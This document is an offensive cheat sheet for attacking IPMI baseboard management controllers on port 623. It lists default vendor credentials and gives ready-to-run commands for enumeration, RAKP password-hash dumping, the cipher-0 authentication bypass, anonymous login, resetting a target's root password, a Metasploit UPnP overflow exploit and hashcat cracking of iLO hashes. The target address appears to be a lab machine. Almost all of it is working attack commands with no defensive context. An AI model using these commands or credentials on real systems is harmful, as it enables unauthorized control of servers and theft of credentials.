IPMI | 623

Vendor	Username	Password	Notes
Supermicro	ADMIN	ADMIN	Some newer models use unique passwords.
IBM / Lenovo	USERID	PASSW0RD	Common for Flex System x hardware.
pfSense Netgate	ADMIN	Varies	Reset using ipmitool. Default ID is 2.
Quantum VS4160-HCI	ADMIN	On system label	Change via VS-Settings Menu.
Quantum VS1110-A	ADMIN	BMCadmin1	Change via Advanced Menu.
Blackcore	admin	admin123	For SPR-M, SPR-X, RPL, 3100 series.
Nutanix	ADMIN	Node serial number	Use node's serial in caps.
Datto	Provided by Datto	First 16 chars of backup-admin	Changes periodically.
Dell	root	calvin	Default for iDRAC systems.
Cisco	admin	password	Common for UCS servers.
HP / HPE	Administrator	Unique on system label	Often randomized for iLO.

• Enumerations

## ------------------| Version Detection
sudo nmap -sU --script ipmi-version -p 623 $IP
use auxiliary/scanner/ipmi/ipmi_version

• Dumping Hashes

## ------------------| Using Metasploit
use auxiliary/scanner/ipmi/ipmi_dumphashes

## ------------------| Using ipmitool
ipmitool -I lanplus -H $IP -U <USERNAME> -P <PASSWORD> user list 1

## ------------------| Using impacket
ipmi_hash_dump.py $IP -u <USERNAME> -p <PASSWORD>
rakp.py $IP

• Vulnerabilities

## ------------------| Change password for root user
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user set password 2 newpassword 
       
## ------------------| IPMI Authentication Bypass via Cipher 0
use auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list #C 0 to dump a list of users.                     

## ------------------| IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
use auxiliary/scanner/ipmi/ipmi_dumphashes
set OUTPUT_HASHCAT_FILE cat-hash
set OUTPUT_JOHN_FILE john-hash
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list

## ------------------| IPMI Anonymous Authentication
ipmitool -I lanplus -H 10.10.11.124 -U '' -P '' user list

## ------------------| Supermicro IPMI UPnP
use exploit/multi/upnp/libupnp_ssdp_overflow

## ------------------| Crack HP iLO default password
hashcat -m 7300 hases.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u